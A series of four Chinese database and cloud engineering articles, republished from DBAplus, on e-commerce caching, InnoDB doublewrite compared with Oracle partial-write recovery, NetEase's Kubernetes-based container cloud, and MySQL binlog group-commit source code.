对于一个电商系统,缓存是重要组成部分,而提升系统性能的主要方式之一也是缓存。它可以挡掉大部分的数据库访问的冲击,如果没有它,系统很可能会因为数据库不可用导致整个系统崩溃。 但缓存带来了另外一些棘手的问题: 数据的一致性和实时性。例如,数据库中的数据状态已经改变,但在页面上看到的仍然是缓存的旧值,直到缓冲时间失效之后,才能重新更新缓存。这个问题怎么解决? 还有就是缓存数据如果没有失效的话,是会一直保持在内存中的,对服务器的内存也是负担,那么,什么数据可以放缓存,什么数据不可以,这是系统设计之初必须考虑的问题。 什么数据可以放缓存? 不需要实时更新但是又极其消耗数据库的数据。比如网站首页的商品销售的排行榜,热搜商品等等,这些数据基本上都是一天统计一次,用户不会关注其是否是实时的。 需要实时更新,但是数据更新的频率不高的数据。 每次获取这些数据都经过复杂的处理逻辑,比如生成报表。 什么数据不应该使用缓存? 实际上,在电商系统中,大部分数据都是可以缓存的,不能使用缓存的数据很少。这类数据包括涉及到钱、密钥、业务关键性核心数据等。总之,如果你发现,系统里面的大部分数据都不能使用缓存,这说明架构本身出了问题。 如何解决一致性和实时性的问题? 保证一致性和实时性的办法就是:一旦数据库更新了,就必须把原来的缓存更新。 说一说我们的缓存方案:我们目前的缓存系统:Redis(主从)+ RabbitMQ + 缓存清理服务组成,具体如下图: 缓存清理作业订阅RabbitMQ消息队列,一有数据更新进入队列,就将数据重新更新到Redis缓存服务器。 当然,有些朋友的方案,是数据库更新完成之后,立马去更新相关缓存数据。这样就不需要MQ和缓存清理作业。不过,这同时也增加了系统的耦合性。具体得看自己的业务场景和平台大小。 原文发布时间为:2017-04-14 本文来自云栖社区合作伙伴DBAplus
有句话说得好,世上只有两种工具,一种是被人骂的,另一种是没人用的。被骂得越多,侧面反映出关注度越高,使用率越高,越用越成熟,这一点上, MySQL就是一个很不错的例子。而MySQL可支持的存储引擎很多,目前以InnoDB最佳,算为上品。 自MySQL 5.5.5开始,InnoDB是作为默认的存储引擎,而之前MyISAM存储引擎其实也占有一席之地,但MySQL开发团队自宣布MySQL 8.0.0开发里程碑版本DMR开始,就把MySQL版本一下子从5.x跳跃到了8.0。其中的一个亮点就是事务性数据字典,完全脱离MyISAM存储引擎,所以InnoDB宝刀不老,是我们学习MySQL重点需要了解的存储引擎。而其中InnoDB的double write特性很有意思,也是我们今天讨论的重点内容。 其实在MySQL和Oracle都会面临这类问题,不过各自有着不同的解决方案。我也看到网上有很多DBA在这个地方纠结、争论。相比而言,Oracle这边更沉默一些。我看了他们的讨论,但目前为止还没有看到一个把两方面都照顾到的解读。所以我决定做这个事情,以此来对比MySQL和Oracle中的一些实现和差别。很多都是个人之言,所以有些说法不一定对,算是一次尝试,希望引起一些思考和讨论。 InnoDB中的double write 首先我们来说说InnoDB和double write。 InnoDB有三大闪亮特性:insert buffer、double write和自适应哈希,其实还有几个比如异步IO、Flush neighbour Page(刷新邻接页),这个和系统层面关联性较高,所以三大亮点还是有普适性的。 首先我们来简单了解一下double write为什么要这么设计、解决了什么样的问题。对此我画了一个相对简陋的图,还有很多细节没有照顾到,但是能够说明意思。 总体来说,double write buffer就是一种缓冲缓存技术,主要的目的就是为了防止数据在系统断电,异常crash情况下丢失数据。里面有几个点需要注意的就是,数据在buffer pool中修改后成了脏页,这个过程会产生Binglog记录和redo记录,当然缓存数据写入数据文件是一个异步的工作。如果细看,在共享表空间(system tablespace)中会存在一个2M的空间,分为2个单元,一共128个页,其中120个用于批量刷脏数据,另外8个用于Single Page Flush。 根据阿里翟卫祥同学分析,之所以这样做是因为批量刷脏是后台线程做的,这样不影响前台线程。而Single Page Flush是用户线程发起的,需要尽快地刷脏并替换出一个空闲页出来。所以不是一个严格的64+64的拆分,最后也给出了这篇文章的链接。(https://yq.aliyun.com/articles/50627) 而数据刷新过程,是先使用memcopy把脏数据复制到内存中的double write buffer,分两次写完,每次写1MB到共享表空间,然后就是调用fsync来同步到磁盘。这里有一点需要注意的是,这个刷新到共享表空间的过程,虽然是两次,但是是顺序写,所以开销不会很大,也就不会像大家想象的那样,觉得double write性能可能很差。根据Percona的测试,大概也就是5%左右的差别,数据重要还是性能更重要,这是一个基本的命题。当然后续会再写入对应的表空间文件中,这个过程就是随机写,性能开销就会大一些。所以早些时候试用SSD时很多人也带有如此的顾虑,顺序写还是随机写,这个顾虑在这篇文章中也会有一些解释。 当然double write这么设计就是为了恢复而用,要不这么大张旗鼓就不值得了。对于文件校验来说,一个中心词就是checksum。如果出现了partial write的时候,比如断电,那么两次写的过程中,很可能page是不一致的,这样checksum校验就很可能出现问题。而出现问题时,因为有了前期写入共享表空间的页信息,所以就可以重构出页的信息重新写入。 double write其实还有一个特点,就是将数据从double write buffer写到真正的segment中时,系统会自动合并连接空间刷新的方式,这样一来每次就可以刷新多个pages,从而提高效率。 比如下面的环境,我们可以根据show status的结果来得到一个合并页的情况。 > show status like'%dbl%'; +----------------------------+----------+ |Variable_name | Value | +----------------------------+----------+ | Innodb_dblwr_pages_written | 23196544 | | Innodb_dblwr_writes | 4639373 | +----------------------------+----------+ 通过InnoDB_dblwr_pages_written/InnoDB_dblwr_writes 或者通过指标也可基本看明白,这个例子中比例是5:1,证明数据变更频率很低。 当然对于double write,在Percona中也在持续改进,在Percona 5.7版本中做了一个改进,你可以看到一个新参数,innodb_parallel_doublewrite_path。 |innodb_parallel_doublewrite_path | xb_doublewrite | 在系统层面,也会存在一个30M的文件对应。 -rw-r----- 1 mysql mysql31457280Mar28 17:54 xb_doublewrite 这就是并行double write,实现了并行刷脏。关于这个特性的详细描述和测试,可以参考以下链接: https://www.percona.com/blog/2016/05/09/percona-server-5-7-parallel-doublewrite/?utm_source=tuicool&utm_medium=referral 里面提供了很多详细的测试对比和分析。当然MariaDB、Facebook、Aurora在这方面也有一些自己的实现方式和考虑。MariaDB是定制了新的参数innodb_use_atomic_writes来控制原子写。当在启动时检查到支持atomic write时,即使开启了innodb_doublewrite,也会关闭掉。 Facebook则是提供了一个选项,写page之前,只将对应的page number写到dblwr中(不是写全page),崩溃恢复读出记录在dblwr中的page号,间接恢复。 Aurora则是采用了存储和数据库服务器分离的方式来实现,无须开启double write,有兴趣的同学可以看一看。 到此为止,MySQL 层面double write的解释就差不多了。但我们肯定有一些疑问,因为partial write的问题是很多数据库设计中都需要考虑到这么一个临界点的问题。MySQL中的页是16k,数据的校验是按照这个为单位进行的,而操作系统层面的数据单位肯定达不到16k(比如是4k),那么一旦发生断电时,只保留了部分写入,如果是Oracle DBA一般对此都会很淡定,说用redo来恢复嘛。但可能我们被屏蔽了一些细节,MySQL在恢复的过程中一个基准是检查page的checksum,也就是page的最后事务号,发生这种partial page write 的问题时,因为page已经损坏,所以就无法定位到page中的事务号,这个时候redo就无法直接恢复。 由此引申一点,partial write的问题在Oracle中肯定也会存在,只是Oracle替我们把这个过程平滑做好了。其中有设计的差异,还有恢复技术的差别。但无论如何这个问题都不会绕过去,还是得解决。所以在此我需要和Oracle结合起来,来对比哪里好,哪里不好,这是一个很好的习惯和学习方法,为此我们引出两个问题。 Oracle里面怎么做? 要回答这个问题,就需要从以下两个方面来解读。 Oracle中是否存在partial write? Oracle是怎么解决partial write的? 我们得把MySQL和Oracle放在一起,像拿着两个玩具一般,左看右比,不光从外向对比还要看内部实现。有的同学说有些Internal的东西又用不着,看了也没用,而且学起来很耗时间和精力。这个得辩证地看,很多东西掌握到了一定程度,就需要突破自己,深入理解总是没坏处,这个过程是个潜移默化的过程。毛主席说:理论联系实际、密切联系群众(在这里就是我们的DBA和用户)、批评与自我批评,很值得借鉴。 Oracle是否存在partial write 毫无疑问,Oracle中也是存在这种情况的,不过情况会有一些差别,处理方式不同。 我们先来看看一种很类似的说法,很多Oracle DBA和MySQL DBA总是在纠结这个地方。 Oracle里面有一种备份方式是热备份(hot backup),就是在数据库open状态可以直接拷贝数据文件做备份,备份开始使用begin backup声明,备份结束使用end backup结束。这个过程中很可能出现拷贝的文件发生数据变化,导致不一致的情况,被称为split block。这一类数据块也叫fractured block,在官方文档11g中是这么解释的,而在10g的官方文档描述是错误的。 fractured block 简单来说就是在数据块头部和尾部的SCN不一致导致。在用户管理方式的备份中,操作系统工具(比如cp命令)在DBWR正在更新文件的同时备份数据文件。 操作系统工具可能以一种半更新的状态读取块,结果上半部分更新复制到了备份介质的块,而下半部分仍包含较旧的数据。在这种情况下,这个块就是断裂的。 对于非RMAN备份的方式,ALTER TABLESPACE ... BEGIN BACKUP或ALTER DATABASE BEGIN BACKUP命令是断裂块问题的解决方案。当表空间处于热备模式,并且对数据块进行更改时,数据库将在更改之前记录整个块镜像的副本,以便数据库可以在介质恢复发现该块被破坏时重建该块。 在10g中是被描述如下,注意下面标红的“每次”,这是文档里的一个错误描述。 当表空间处于热备模式,并且每次对数据块进行更改时,数据库将在更改之前记录整个块镜像的副本,以便数据库可以在介质恢复发现该块被破坏时重建该块。 Jonathan Lewis这位大师对此做了进一步的阐释,把话说得更明确了。 简单翻译一下就是: 官方文档如果这么说就错了,在检查点完成之后,将块加载到缓存之后的第一次变更(或者缓存中任意块的第一次更改),当前版本的块信息会全量写入redo,而数据块在缓冲区中后续的变更不会重复写。 文档描述问题在10g文档存在,在11g中做了修正。而实际应用中使用cp命令进行拷贝是因为写入磁盘的是操作会使用文件系统块大小作为最小IO,但是RMAN写入磁盘的时候使用Oracle block size作为最小IO,所以不会出现split block。 为此我们来提一提Oracle中的数据块。Oracle中block的大小大体有这几类,分别是数据块、重做日志数据块和控制文件数据块。 数据块data block,是读写数据文件的最小单位,默认是8KB,可以查询select file#,name,block_size from v$datafile; 重做日志数据块叫作redo block,大小一般等于操作系统块的大小,可以查询select lebsz from x$kccle; 控制文件数据块叫作control file block,可以查询select block_size from v$controlfile。 由此我们扩展一个概念,在11g中redo添加了一个新的属性blocksize。这个blocksize的值是在数据库的源代码中固定的,与操作系统相关,默认的值为512,在不同的操作系统中会有所不同。 查看blocksize的配置,可以使用基表x$kccle从Oracle的内部视图中获得: SQL> select max(lebsz) from x$kccle; MAX(LEBSZ) ---------- 512 以上可以看出通过redo重构数据库来恢复是没有问题的,但是就涉及到一个很重要的概念,检查点。 Oracle可以很自信地确认,如果数据做了commit而且成功返回,那么下一秒断电后数据是肯定能恢复的。光有自信不行,我们得有理论的支持说明,如何通过redo进行数据恢复。 Oracle如何通过redo进行恢复 我们假设redo写的时候也是存在问题,即partial write。 在MySQL中有这样的一个梗:因为page已经损坏,所以就无法定位到page中的事务号,所以这个时候redo就无法直接恢复。 Oracle怎么做呢?看看下面的图,其实细看有一个文件很有意思,那就是控制文件。Oracle是有控制文件来做数据的检查点,对控制文件描述得更形象一些,它就是数据库的大脑,由此可见它的地位,尽管它的功能相对会比较单一,但是很重要。 用户提交数据的变更之后,在Oracle写入到数据文件中,这是一个异步的过程,但是同时从数据安全性方面又需要保证数据不会丢失,在数据变更后会在redo log buffer中构造重做数据条目(redo entry),描述了修改前和修改后的数据变化。Lgwr会把重做条目刷入redo日志,当然这个过程还要细分一下,分为后台写和同步写。 后台写的触发条件会多一些,比如3秒的间隔;或者数据还没有刷新到redo日志时,DBWR会触发LGWR去写,直至写完;或者是达到日志缓冲区1/3时触发LGWR;或者是达到1M时触发,还有其它更多的细节,可以移步官方文档看看。 同步写的触发条件相对简单,就是用户commit时触发LGWR去写,所以说如果出现over commit的情况时,总是会有很明显的log file sync的等待事件。 这个过程和CKPT有什么关系呢?简单来说,Oracle不断地定位这个起点,这样在不可预期的实例崩溃中能够有效地保护并恢复数据,这也是CKPT的使命所在。这个起点如果太靠近日志文件头部就意味着要处理很多redo条目,恢复效率会很差;其次,这个起点不能太靠近日志文件尾部,太靠近日志文件尾部则说明只有很少的脏数据块没有写入数据,也就需要DBWR频繁去刷数据。所以Oracle中会存在检查点队列的概念,就是一个LRU链表,上面都是数据块头(buffer header),同时如果一个数据块被修改了多次的话,在该链表上也只出现一次,和Jonathan Lewis的解读如出一辙。 而在MySQL中也是LRU的方式,控制方式更加清晰,可以通过参数innodb_lru_scan_depth控制LRU列表中可用页数量,通过参数innodb_max_dirty_pages_pact来控制刷脏页的频率(默认是75,谷歌的压测推荐是80)。 小结一下:就是CKPT是一个关键,会有检查点队列和增量检查点来提高数据恢复的效率和减少DBWR频繁刷盘。而这个所谓检查点不光在redo、数据文件、数据文件头,关键的是控制文件中也还会持续跟踪记录。这个就是我们数据恢复的基石SCN,在MySQL里面叫做LSN。 所以数据恢复时,从控制文件中发现数据文件的检查点为空,意味着这是异常宕机,就会启动crash recovery。这个检查点在控制文件中会抓取到最近的,然后就是应用redo,达到一个奔溃前的状态,就是常说的前滚,然后为了保证事务一致性,回滚那些未提交的事务,所以控制文件的设计就很有意义。以上就是一个较为粗略的恢复过程。 反问1: 批判与自我批判 好了,到翻盘的时候了,我相信很多MySQL DBA看到这里会有更多疑问,我自我批判一下,应该是两个问题。 MySQL虽然数据单位是页16k,但是写入redo log到文件的时候是以512字节为单位来写的,这个你怎么解释 你说的Checkpoint技术MySQL也有。 这个理解完全没错,我来解释一下。 MySQL InnoDB中也有检查点LSN,会随着log buffer的增长而增长。innodb_os_log_written是随着redo log文件的写入量而增长,可以通过show global status like '%Innodb_os_log_written%' 看到一个累计值,增量的差值即为512的倍数,所以单纯看这里我们看不出差异,尽管他们有不同粒度的细分。 MySQL InnoDB的检查点技术很丰富,主要分为两类,Sharp checkpoint和fuzzy checkpoint。 Sharp checkpoint是全量检查点,通过参数innodb_fast_shutdown=1来设置,有点类似Oracle中的alter system checkpoint;而fuzzy checkpoint就丰富多了,总体来说是部分页刷新,刷新的场景会有一些复杂。 Master Thread Checkpoint FLUSH_LUR_LIST Checkpoint Async/Sync Flush Checkpoint Dirty Page too much Checkpoint 而回到问题的本质,那就是这些都是InnoDB层面去做的检查点,所以就会出现我们开始所说的情况。 因为page已经损坏,所以就无法定位到page中的事务号,所以这个时候redo就无法直接恢复。 而Oracle有控制文件这一层级,数据恢复都是在mount状态下,挂载控制文件后开始的。 这个时候我们Oracle DBA再来反问一下MySQL DBA。 反问2: MySQL中为什么Binlog和redo会并存 Binlog是MySQL Server范畴的。记录的是数据的变更操作,支持多种存储引擎。也就是说无论是MyISAM、InnoDB等存储引擎,Binlog都会记录,所以数据恢复和搭建slave经常会用到。另外根据二阶段提交的场景,崩溃恢复也会用到Binlog。 而redo是InnoDB引擎范畴的,记录的是记录物理页的修改,是做崩溃恢复所用。 总体来说,MySQL为了兼容其它事务引擎,在Server层引入了Binlog,这样就能够保证对所有的引擎启用复制。同时一个事务提交会写Binlog和redo,Binlog和redo的一致性也需要协调,主要是通过二阶段提交来解决。 而Oracle是只有redo,相当于把Binlog和redo的功能做了整合,因为Oracle不是插件式数据库,不支持其它第三方的存储引擎。所以这些都是从体系结构里都统一了的。 所以对这个问题的总结就是:不要手里拿着锤子,眼里看到的都是钉子,技术架构不同使然。 InnoDB是插件式存储引擎。事务支持是存储引擎层面来做,如果再多说一句,外键这种实现本来就不应该是存储引擎做的,但是这是一个特例,因为Server层不支持,最后还是由InnoDB来实现了。简单来说存储引擎是面向表的,而不是数据库,明白了这一点很重要,也对InnoDB的定位会更加清晰。 但我们看待问题也不能孤立的看,不应该仅仅从数据库层面、系统层面考虑,还需要考虑存储层面,也需要听听存储界的观点。 存储和double write的关系 存储层面来说,我会引用社群三位专家的分享内容来说明。 首先是社群的一篇文章干货分享——《基于PCIe闪存卡的Oracle Online Redo Log优化》,里面这样说道: 上一代存储多采用512 bytes的扇区,现在的存储则采用4k的扇区,扇区即每次最小IO的大小。4k 扇区有两种工作模式:native mode 和emulation mode。 Native mode,即4k模式,物理和逻辑的block大小一样,都是4096bytes。Native mode 的缺点是需要操作系统和软件(如DB)的支持。Oracle 从11gR2 开始支持4k IO操作。Linux 内核在2.6.32 之后也开始支持4k IO操作。 emulation mode:物理块是4k,但逻辑块是512bytes。在该模式下,IO操作时底层物理还是4k进行操作,所以就会导致Partial I/O 和4k 对齐的问题。 在emulation mode下,每次IO操作大小是512 bytes,但存储底层的IO操作大小必须是4k,如果要读512 bytes的数据,实际需要读4k,是原来的8倍,就是partial IO。而在写时,也是先读4k 的物理block,然后更新其中的512 bytes的数据,再把4k 写回去。所以在emulation mode下,增加的工作会增加延时,降低性能。 对于SSD来说,double write会带来两个问题,性能惩罚和对SSD的磨损增加,这部分内容引用自社群之前的一次分享《闪存存储特性以及数据库相关优化思路》。 炫辉老师他们按照下面的场景在闪存卡上进行了测试。 在安全性层面,只要Metadata Journal+DW或Metadata Journal+Data Journal(即上图中的第2行和第3行数据),都可以保护数据库数据的安全,也就是意外掉电数据不会损坏,数据库可以正常启动,数据不丢失。 但是在CPU bound(计算密集型) 的情况下,前个组合的性能衰减(8%)要小于后面的保护组合(10%)。 如果是在IO bound(I/O密集型)的情况下,前个组合的性能衰减(10%)要小于后面的保护组合(34%)。但是DW下的数据写入量会比后者增加23%,也就是会增加SSD的磨损。这个是我们在应用时需要注意的。 而在文件系统层面,我们还需要注意这些地方,以下内容摘自社群之前的分享《数据库与存储系统》。 绝大多数文件系统支持4k,(除了vxfs和zfs)。vxfs支持最大64k,可以设置成512byte,1k,2k,4k,8k,16k,32k,64k。 ZFS是一个特殊的怪物;数据块是动态的,也就是说写入多少数据,ZFS上那块存放数据的块就有那么大。传统上是支持动态的512byte到128k。 所以说ZFS本身就提供了部分写失效防范机制,在这种情况下,就可以不开启double write。 小结 MySQL和Oracle有时候想想真是有意思,一个开源,一个商业,一个最流行,一个最有范,看起来势不两立,但命运把他们又连接在一起。而我们学习起来多质疑,多思考,多尝试一定会有所收获。 原文发布时间为:2017-04-13 本文来自云栖社区合作伙伴DBAplus
网易从2012年春开始云计算研发,陆续上线私有云IaaS、PaaS服务,并实现网易95%以上的互联网业务迁移上云。在近日的网易云技术布道系列活动中,张晓龙分享了网易云基础服务团队在研发容器服务过程中的实战经验。 一、网易云技术架构 首先看到网易云的研发历程和整体架构,如下: 下图是网易云的简单架构: 技术架构从底到上可分为三层: 基础设施层主要采用虚拟化技术将服务器、交换机/路由器以及硬盘等物理设备虚拟成为可以按需分配的计算/存储/网络资源。基础设施层主要包括:云主机、云网络、云硬盘等服务。基础设施层不仅为网易云容器服务运行提供计算/存储/网络资源,同时也为数据库、缓存、负载均衡等网易云平台服务提供资源; 核心业务层主要包括两块:一是容器及容器编排:镜像仓库、日志服务、容器服务、编排服务,主要覆盖了以容器以及容器编排为中心的网易云容器服务核心功能;二是PaaS插件服务,主要包括数据库、负载均衡、对象存储、缓存等; 最上面的外围服务层,也是构成一个平台不可或缺的一部分。主要包括:认证、API服务、计费服务、安全服务、监控服务。 二、网易云的容器服务 作为核心服务之一,网易云容器服务提供弹性计算、DevOps工具链及微服务基础设施等。服务的功能包括三个方面: 提供有状态/无状态容器及其镜像加速/构建/仓库等在内的容器服务; 提供包括对象存储、CDN、关系数据库、MongoDB、负载均衡、缓存服务、安全服务等在内的完善平台服务,是实现互联网应用的通用的基础组件; 提供包括服务发现、编排服务、APM服务、持续集成、监控服务、日志服务、持续发布等在内的完整DevOps工具链。 三、容器服务的核心技术 要构建一个容器服务,需要三类核心的技术:基础设施、容器、容器编排。下面详细解读。 基础设施 基础设施提供容器运行所需计算/存储/网络资源,高效管理这些资源并确保资源的按需分配、高效交付,同时要保证交付资源的QoS比如计算能力、网络性能、I/O能力等。 基础设施服务的技术基础是虚拟化技术,包括计算、网络、存储的虚拟化技术,计算的虚拟化无论在硬件或软件层面都相对成熟,而在网络、存储的虚拟化上网易云的选择是软件定义的技术。 在计算虚拟化方面,采用了高效稳定可靠的KVM虚拟化技术; 在网络虚拟化方面,基于OpenVSwitch采用最新流行的SDN技术,获得更大的网络灵活性; 在块存储方面,采用的是可扩展性较强的Ceph技术; 使用开源云平台框架OpenStack实现对上述资源的高效管理; 容器 容器是网易云容器服务资源交付的最小单位,通过采用了最新Docker技术,实现应用交付的标准化;目前的容器服务基于Docker1.12版本打造。 容器编排 要基于容器实现一个可水平扩展的产品服务端架构,需要使用容器编排技术实现对容器集群的发布、回滚、迁移、扩容、缩容等。我们的容器编排基于开源项目Kubernetes,Kubernetes服务将资源抽象为三个层次:容器(软件及运行环境),Pod(相关联的容器组合)容纳一个或多个容器,Node(提供计算/网络/存储的资源节点)容纳一个或多个Pod。 四、构建容器云的关键技术 关键技术1——基础设施服务 网络 使用VxLan大二层技术实现网络数据面,基于OpenVswitch开源虚拟交换机实现OpenFlow协议; 基于OpenStack Neutron实现网络控制面。 存储 两类块存储后端:1)基于Ceph的普通块存储;2)基于软RAID技术的自研高性能块存储(用于高性能IO场景如数据库等); 基于OpenStack Cinder实现块存储资源管理。 计算 采用KVM虚拟化技术; 基于OpenStack Nova实现虚拟机生命周期的管理。 关键设计2——容器计算 首先,容器的计算资源应该如何提供?应该跑在物理机上还是虚拟机上?从公有云层面来说,在容器的隔离性不是特别好的情况下,还是要跑在云主机上面,这是对用户最基本的安全承诺。 好处1:由于是操作系统层面的轻量级虚拟化,容器安全性一直是用户非常关心的问题,也制约着容器技术的发展。容器安全性问题以“容器逃逸”问题最有名,也就是黑客是可以通过容器的一些漏洞渗透到运行容器所在的宿主机上,对宿主机上的其他容器以及宿主机本身都造成巨大的威胁。在容器安全性问题没有得到有效解决前,将容器运行在虚拟机上,利用虚拟机的强隔离性,可以加固容器的安全性。 好处2:由于容器是轻量级虚拟化,所有容器共享宿主机的内核,宿主机上一个容器的运行异常和故障,很有可能导致宿主机内核的crash,从而影响宿主机上其他容器的正常运行;因此,将容器运行在云主机中,尽可能少的容器共享同一个内核,可以实现故障的隔离,提高系统稳定性; 好处3:由于容器运行在云主机中,我们可以大胆把一些系统的能力如设置iptables的能力开发给用户,而不用担心开放这些能力会对宿主机系统造成很大的影响。这可以使得用户得到更多的功能,对容器具有更强的掌控; 这样做的缺点在于:容器运行于云主机,要忍受硬件虚拟化技术带来一定的资源和性能开销。 关键设计3——容器网络 容器网络 私有网:虚拟平坦二层网络、租户间完全隔离,通过容器私有网卡接入 公网:允许绑定公网IP到容器,通过容器公网网卡接入 实现 容器网络由基础设施服务来提供,并确保网络的性能、可扩展性;容器不关心和处理网络性能、可扩展性问题,只管用云提供的网络服务创建和使用相应的网络。网易云为每个租户提供一张完全隔离的私有网络以及一张所有租户共享的公网。 私有网接入:基于云主机上的网桥和容器veth pair实现 公网接入:将云主机上的公网端口置入容器的namespace中 关键设计4——持久化容器数据 容器的存储也是比较难解决的问题,多数容器都是无状态的,也就是说容器内部不应该保存用户有用的数据,一个容器挂掉后,用镜像能很快启动另一个容器,保证系统的正常运行。从架构上来说这个设计很好,弹性可扩展。但如果架构设计能力不是太好的情况下,很容易出现有状态容器的需求。 存储需求 但不管是Docker还是Kubernetes都不解决容器的存储问题,只可以用docker -v指定一个数据目录,所以在构建容器云时有2个需求: 容器根目录rootfs会保存其运行时数据,需要用云盘保存容器rootfs数据 容器需要挂载云盘作为data盘 难点 Docker默认会将所有容器rootfs都存储在overlay目录下,不同容器rootfs数据无法有效区分并隔离 方案 实现Docker启动时可指定独立rootfs的功能 在启动容器前将云盘挂载到启动容器的rootfs上 关键设计5——网络安全 网络安全也是云平台设计非常重要的一点。 网络过滤 L2过滤:确保报文源MAC地址是系统所分配端口MAC地址,防止ARP欺骗 L3过滤:确保数据包源IP是系统所分配IP,防止IP地址欺骗 L4过滤:过滤指定的TCP/UDP端口,便于实施网络封禁 DDoS攻击防护 基于Intel DPDK技术实现高性能实时抗攻击 关键技术6——网络带宽QoS 设计原则 保证用户所申请网络带宽 有效利用空闲网络资源,免费提升用户带宽体验 实现方案 基于Linux Traffic Control并修改OVS,实现保证速率、最大速率 将小包按照MPU(Minimum Packet Unit)大小来处理 网络QoS另一个重要问题是网络小包过载的问题。 问题:VXLAN小包处理性能不够好,网络小包过多导致宿主机CPU过载(软中断过多),影响网络性能和稳定性 方案:限制容器网络的PPS (Packet Per Second) 关键优化7——容器启动速度 问题 容器运行于云主机,容器启动依赖于云主机先启动,而基于硬件虚拟化技术的云主机启动速度较慢。 启动速度优化 定制系统镜像,裁剪不必要服务启动加载项; 云主机IP静态化,加速网络初始化过程。IP静态化的原因:云主机网络初始化使用DHCP服务获取网络IP和路由等信息,会占用较多启动时间。在网络服务启动前使用Cloud-init和ConfigDrive完成网卡名称匹配和IP配置信息注入; 优化OpenStack创建云主机流程,主要是在OpenStack的计算节点上做了一些优化。 优化效果 创建容器在40秒内完成 关键优化8——网络性能 内网使用巨帧(Jumbo Frames)模式,提升数据传输的吞吐量。 VxLan性能优化 使用不同内核版本和OVS版本的组合,VxLan性能差异很大,在万兆网络环境下使用3.18版本内核 + 2.6版本OVS,云主机单连接网关转发性能可近4Gbps,云主机多连接网关转发性能可达近9Gbps,云主机间互访近4Gbps 关键技术9——解决Ceph运维时性能衰减 性能问题 社区Ceph在osd进程重启时会出现长时间、极其严重的性能衰减(80%+),原因是osd重启时要恢复重启期间脏数据对象,会消耗大量网络/磁盘开销 解决手段 在pglog记录重启期间数据对象的增量数据,在重启时增量恢复数据对象 解决效果 减少重启过程对集群正常I/O性能影响( I/O性能降低10%~20%以内) 缩短重启恢复所需时间(重启单个osd从10分钟减少到40秒左右) 关键优化10——容器编排多租户支持 原生的Kubernetes没有租户和多租户的概念,意味着要给每个用户部署一套Kubernetes的集群管理系统,网易云用一套Kubernetes集群去管理所有租户的容器,这是跟社区版本中完全不一样的地方。 完善多租户支持 将容器的资源按照多租户进行分类,如下图所示,将node、存储、网络等集群共享的资源实现租户隔离 实现租户资源的安全访问控制,为每个租户实现独立的认证和授权 关键优化11——容器编排性能 性能问题 原生K8S编排的可扩展性有瓶颈,无法支持更大规模节点的编排 K8S各组件在高水位下资源占用太大 优化手段 实现调度器并行调度,提升集群调度能力 实现副本控制器多优先级处理,提升容器创建速度 精简内部负载均衡转发表 优化api-server和kubelet、kube-proxy,减少内存资源占用 调度器并行优化 问题:原生scheduler调度是全集群串行,不可并行扩展 优化:所有资源按用户分组,全并行调度,集群规模再大也能瞬间调度 副本控制器多优先级处理 问题:原生controller对副本的增量的增/删/改和全量定时任务单队列处理 优化:增加多优先级队列(Add>Update>Delete>Sync All),让实时控制流优先处理,提升容器创建速度 内部负载均衡转发表精简 问题:原生使用iptable全局转发,性能随集群规模增大线性递减 优化:租户之间网络隔离后,可以将转发规则精简到各个租户内部 kubelet、kube-proxy、api-server内存优化 问题:这些服务随着集群规模增长,内存也都直线上涨 优化:agent只加载自己租户拥有的namespace下数据, apiserver增加索引降低cpu以减少并发协程数 优化效果 支持3w+容器的编排 高水位下容器创建时间40s之内完成 K8S上节点占用内存优化为原来的1/4,Api-Server内存减少了1/4 关键技术12——容器性能监控 数据采集:基于CAdvisor采集计算存储网络等监控如cpu/mem/io/tcp连接/网络流量 数据推送:Agent负责从CAdvisor拉取监控数据并推送到后端进行数据聚合 数据聚合:将相关监控项按照容器、pod、副本等层次聚合并展示 五、未来工作 云计算的研发是一项系统的基础开发工作,有非常大的难度,而云计算产品最重要的是稳定性、性能和安全,我们后续的工作也将围绕这三方面展开。 原文发布时间为:2017-04-07 本文来自云栖社区合作伙伴DBAplus
大家都知道在MySQL中,在事务真正COMMIT之前,会将事务的binlog日志写入到binlog文件中。在MySQL的5.7版本中,提供了所谓的无损复制功能,该功能的作用就是在主库的事务对其他的会话线程可见之前,就将该事务的日志同步到从库,保证了事务可以安全地无丢失地复制到从库。 下面我们从源码来分析MySQL的事务提交以及事务在何时将binlog复制到从库的。 MYSQL_BIN_LOG::ordered_commit,这个是事务在binlog阶段提交的核心函数,通过该函数,实现了事务日志写入binlog文件,以及触发dump线程将binlog发送到Slave,在最后的步骤,将事务设置为提交状态。 我们来分析MYSQL_BIN_LOG::ordered_commit这个函数的核心过程,该函数位于binlog.cc文件中。 源码分析 MYSQL_BIN_LOG::ordered_commit,这个函数,核心步骤如下: 第一步骤:flush Stage#1: flushing transactions to binary log: 步骤1 :将事务的日志写入binlog文件的buffer中,函数如下: process_flush_stage_queue(&total_bytes,&do_rotate, &wait_queue); 从5.6开始,MySQL引入了Group Commit的概念,这样可以避免每个事务提交都会锁定一次binlog。 另外,还有一个用处,就是MySQL5.7的基于logical_clock的并行复制。在一个组里面(其实是一个队列),这一组队列的头事务是相同的,因此这一组事务的last_committed(上一组的最后一个提交的事务)的事务也是同一个。我们都知道,last_committed相同的事务,是可以在从库并行relay(重演)的。 该函数process_flush_stage_queue的作用,就是将commit队列中的线程一个一个地取出,然后执行子函数 flush_thread_caches(head);循环的代码如下:将各自线程中的binlog cache写入到binlog中。 /* Flush thread caches to binary log. */ for (THD *head= first_seen ; head ; head = head->next_to_commit) { std::pairresult= flush_thread_caches(head);,my_off_t> total_bytes+= result.second; if(flush_error == 1) flush_error= result.first; #ifndef DBUG_OFF no_flushes++; #endif } 第二步骤:SYNC to disk Stage#2: Syncing binary log file to disk 第二步:将binlog file中cache的部分写入disk.但这个步骤参数sync_binlog起决定性的作用。 我们来看看源码,除了这些还有哪些细节步骤,听完源码分析之后,你应该有新的收获与理解。在执行真正的将binlog写到磁盘之前,会进行一个等待,函数如下: stage_manager.wait_count_or_timeout(opt_binlog_group_commit_sync_no_delay_count, opt_binlog_group_commit_sync_delay, Stage_manager::SYNC_STAGE); 等待的时间由MySQL参数文件中的binlog_group_commit_sync_delay,binlog_group_commit_sync_no_delay_count 这两参数共同决定。第一个表示该事务组提交之前总共等待累积到多少个事务,第二个参数则表示该事务组总共等待多长时间后进行提交,任何一个条件满足则进行后续操作。 因为有这个等待,可以让更多事务的binlog通过一次写binlog文件磁盘来完成提交,从而获得更高的吞吐量。 接下来,就是执行sync_binlog_file,该函数会用到MySQL参数文件中sync_binlog参数的值,如果为0,则不进行写磁盘操作,由操作系统决定什么时候刷盘,如果为1,则强制进行写磁盘操作。 